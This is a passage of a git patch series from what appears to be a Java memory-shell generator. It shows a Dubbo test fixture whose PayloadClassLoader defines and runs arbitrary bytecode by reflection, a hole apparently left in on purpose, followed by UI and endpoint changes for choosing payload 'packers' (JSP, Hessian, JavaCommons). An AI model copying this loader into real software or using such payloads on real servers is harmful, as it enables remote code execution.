Class.forName(className, false, classLoader); + } catch (ClassNotFoundException e) { + return null; + } + } + + private static Class defineClass(String className, byte[] bytes, ClassLoader classLoader) + throws ReflectiveOperationException { + Method defineClass = ClassLoader.class.getDeclaredMethod( + "defineClass", + String.class, + byte[].class, + int.class, + int.class, + ProtectionDomain.class + ); + defineClass.setAccessible(true); + try { + return (Class) defineClass.invoke( + classLoader, + className, + bytes, + 0, + bytes.length, + BytecodeLoadingSupport.class.getProtectionDomain() + ); + } catch (InvocationTargetException e) { + Throwable cause = e.getCause(); + if (cause instanceof LinkageError) { + throw (LinkageError) cause; + } + if (cause instanceof RuntimeException) { + throw (RuntimeException) cause; + } + if (cause instanceof Error) { + throw (Error) cause; + } + throw e; + } + } + + private static List dubboClassGeneratorPools() { + List classPools = new ArrayList(); + List classLoaders = new ArrayList(); + addClassLoader(classLoaders, hostClassLoader()); + addClassLoader(classLoaders, Thread.currentThread().getContextClassLoader()); + + for (ClassLoader classLoader : classLoaders) { + addDubboClassGeneratorPool(classPools, "com.alibaba.dubbo.common.bytecode.ClassGenerator", classLoader); + addDubboClassGeneratorPool(classPools, "org.apache.dubbo.common.bytecode.ClassGenerator", classLoader); + } + return classPools; + } + + private static void addClassLoader(List classLoaders, ClassLoader classLoader) { + if (classLoader != null && !classLoaders.contains(classLoader)) { + classLoaders.add(classLoader); + } + } + + private static void addDubboClassGeneratorPool(List classPools, String className, ClassLoader classLoader) { + try { + Class classGeneratorClass = Class.forName(className, false, hostClassLoader()); + Method getClassPool = classGeneratorClass.getMethod("getClassPool", ClassLoader.class); + Object classPool = getClassPool.invoke(null, classLoader); + if (classPool != null && !classPools.contains(classPool)) { + classPools.add(classPool); + } + } catch (ClassNotFoundException ignored) { + // This runtime is using the other Dubbo namespace. + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to resolve Dubbo class pool from " + className, e); + } + } + + private static boolean anyClassPoolContains(Class classPoolClass, List classPools, String className) { + for (Object classPool : classPools) { + try { + if (classPoolContains(classPoolClass, classPool, className)) { + return true; + } + } catch (ReflectiveOperationException ignored) { + } + } + return false; + } + + private static boolean classPoolContains(Class classPoolClass, Object classPool, String className) + throws ReflectiveOperationException { + try { + Method getOrNull = classPoolClass.getMethod("getOrNull", String.class); + return getOrNull.invoke(classPool, className) != null; + } catch (NoSuchMethodException e) { + try { + Method get = classPoolClass.getMethod("get", String.class); + return get.invoke(classPool, className) != null; + } catch (InvocationTargetException invocationTargetException) { + Throwable cause = invocationTargetException.getCause(); + if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) { + return false; + } + throw invocationTargetException; + } + } catch (InvocationTargetException e) { + Throwable cause = e.getCause(); + if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) { + return false; + } + throw e; + } + } + + private static final class PayloadClassLoader extends ClassLoader { + + private PayloadClassLoader(ClassLoader parent) { + super(parent); + } + + private String defineAndInstantiate(byte[] bytes) throws ReflectiveOperationException { + Thread thread = Thread.currentThread(); + ClassLoader original = thread.getContextClassLoader(); + thread.setContextClassLoader(this); + try { + Object instance = defineClass(bytes, 0, bytes.length).newInstance(); + return String.valueOf(instance); + } finally { + thread.setContextClassLoader(original); + } + } + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java new file mode 100644 index 00000000..e64c4214 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java @@ -0,0 +1,17 @@ +package io.github.reajason.dubbo.fixture.common; + +import io.github.reajason.dubbo.fixture.api.DemoService; + +public class DemoServiceImpl implements DemoService { + + private final String providerName; + + public DemoServiceImpl(String providerName) { + this.providerName = providerName; + } + + @Override + public String sayHello(String name) { + return "Hello, " + name + " from " + providerName; + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java new file mode 100644 index 00000000..944dc8e6 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java @@ -0,0 +1,31 @@ +package io.github.reajason.dubbo.fixture.common; + +import java.util.List; + +public final class LoadBytesExportContext { + + private static volatile Object application; + private static volatile Object registry; + private static volatile List protocols; + + private LoadBytesExportContext() { + } + + public static void register(Object applicationConfig, Object registryConfig, List protocolConfigs) { + application = applicationConfig; + registry = registryConfig; + protocols = protocolConfigs; + } + + public static Object application() { + return application; + } + + public static Object registry() { + return registry; + } + + public static List protocols() { + return protocols; + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java new file mode 100644 index 00000000..d50f0458 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java @@ -0,0 +1,6 @@ +package io.github.reajason.dubbo.fixture.common; + +public final class Noop { + private Noop() { + } +} From 9aab9f0a4b834db62c886fdf1962c951db5e15b5 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 27 Jun 2026 14:54:37 +0800 Subject: [PATCH 10/17] feat: support select child packer --- .../boot/controller/ConfigController.java | 16 + .../reajason/javaweb/boot/vo/PackerVO.java | 10 + .../memshell/package-config-card.tsx | 38 +- .../memshell/results/result-component.tsx | 36 +- web/app/components/packer-selector.tsx | 194 +++++ .../probeshell/package-config-card.tsx | 56 +- web/app/components/ui/scroll-area.tsx | 53 ++ web/app/i18n/common/en.json | 7 + web/app/i18n/common/zh-CN.json | 7 + web/app/routes/memshell.tsx | 2 +- web/app/routes/probeshell.tsx | 2 +- web/app/types/memshell.ts | 7 +- web/app/utils/transformer.ts | 36 +- web/bun.lock | 786 ++++++++++-------- web/package.json | 52 +- web/react-router.config.ts | 3 - 16 files changed, 819 insertions(+), 486 deletions(-) create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/vo/PackerVO.java create mode 100644 web/app/components/packer-selector.tsx create mode 100644 web/app/components/ui/scroll-area.tsx diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 35bd6384..8c789664 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.vo.CommandConfigVO; +import com.reajason.javaweb.boot.vo.PackerVO; import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.server.AbstractServer; @@ -40,6 +41,21 @@ public List getPackers() { .map(Packers::name).toList(); } + /** + * 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。 + * 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。 + */ + @RequestMapping("/packers/tree") + public List getPackerTree() { + return Arrays.stream(Packers.values()) + .filter(packers -> packers.getParentPacker() == null) + .map(packers -> new PackerVO( + packers.name(), + Packers.getPackersWithParent(packers.getInstance().getClass()) + .stream().map(Packers::name).toList())) + .toList(); + } + @RequestMapping public Map> config() { Map> coreMap = new HashMap<>(16); diff --git a/boot/src/main/java/com/reajason/javaweb/boot/vo/PackerVO.java b/boot/src/main/java/com/reajason/javaweb/boot/vo/PackerVO.java new file mode 100644 index 00000000..d9339d16 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/vo/PackerVO.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.boot.vo; + +import java.util.List; + +/** + * @author ReaJason + * @since 2026/6/27 + */ +public record PackerVO(String name, List children) { +} diff --git a/web/app/components/memshell/package-config-card.tsx b/web/app/components/memshell/package-config-card.tsx index a86ad746..a14d119f 100644 --- a/web/app/components/memshell/package-config-card.tsx +++ b/web/app/components/memshell/package-config-card.tsx @@ -1,4 +1,4 @@ -import type { PackerConfig } from "@/types/memshell"; +import type { PackerConfig, PackerOption } from "@/types/memshell"; import type { MemShellFormSchema } from "@/types/schema"; import { PackageIcon } from "lucide-react"; @@ -6,9 +6,8 @@ import { useMemo } from "react"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import PackerSelector from "@/components/packer-selector"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { FieldLabel, FieldSet } from "@/components/ui/field"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { Spinner } from "@/components/ui/spinner"; export default function PackageConfigCard({ @@ -30,8 +29,8 @@ export default function PackageConfigCard({ name: "server", }); - const options = useMemo(() => { - const filteredOptions = (packerConfig ?? []).filter((name) => { + const parents = useMemo(() => { + return (packerConfig ?? []).filter(({ name }) => { if (!shellType || shellType === " ") { return true; } @@ -43,12 +42,7 @@ export default function PackageConfigCard({ } return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); }); - form.setValue("packingMethod", filteredOptions[0]); - return filteredOptions.map((name) => ({ - name: t(name), - value: name, - })); - }, [packerConfig, shellType, server, t, form]); + }, [packerConfig, shellType, server]); return ( @@ -59,30 +53,12 @@ export default function PackageConfigCard({ - {options.length > 0 ? ( + {parents.length > 0 ? ( ( -
- {t("packerMethod")} - - {options.map(({ name, value }) => ( -
- - - {name} - -
- ))} -
-
+ )} /> ) : ( diff --git a/web/app/components/memshell/results/result-component.tsx b/web/app/components/memshell/results/result-component.tsx index 1408bcd7..e7cf7de3 100644 --- a/web/app/components/memshell/results/result-component.tsx +++ b/web/app/components/memshell/results/result-component.tsx @@ -27,6 +27,24 @@ export function ResultComponent({ const isAgent = packMethod.startsWith("Agent"); const isJar = packMethod.endsWith("Jar"); const { t } = useTranslation(); + const shellClassName = generateResult?.shellClassName; + + const handleDownload = useCallback(() => { + const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; + if (packMethod.includes("JSP")) { + const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp"; + const content = new Blob([packResult as string], { type: "text/plain" }); + return downloadContent(content, fileName, fileExtension); + } else if (packMethod.includes("JavaCommons") || packMethod.includes("Hessian")) { + const content = new Blob([base64ToBytes(packResult as string)], { + type: "application/octet-stream", + }); + return downloadContent(content, fileName, ".data"); + } else if (packMethod === "Base64") { + return downloadBytes(packResult as string, shellClassName); + } + }, [packMethod, packResult, shellClassName]); + if (allPackResults) { return ( { - const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; - if (packMethod.includes("JSP")) { - const fileExtension = packMethod.includes("JSPX") ? ".jspx" : ".jsp"; - const content = new Blob([packResult as string], { type: "text/plain" }); - return downloadContent(content, fileName, fileExtension); - } else if (packMethod.includes("JavaCommons") || packMethod.includes("Hessian")) { - const content = new Blob([base64ToBytes(packResult as string)], { - type: "application/octet-stream", - }); - return downloadContent(content, fileName, ".data"); - } else if (packMethod === "Base64") { - return downloadBytes(packResult as string, shellClassName); - } - }, [packMethod, packResult, shellClassName]); - return ( ) { + return ( +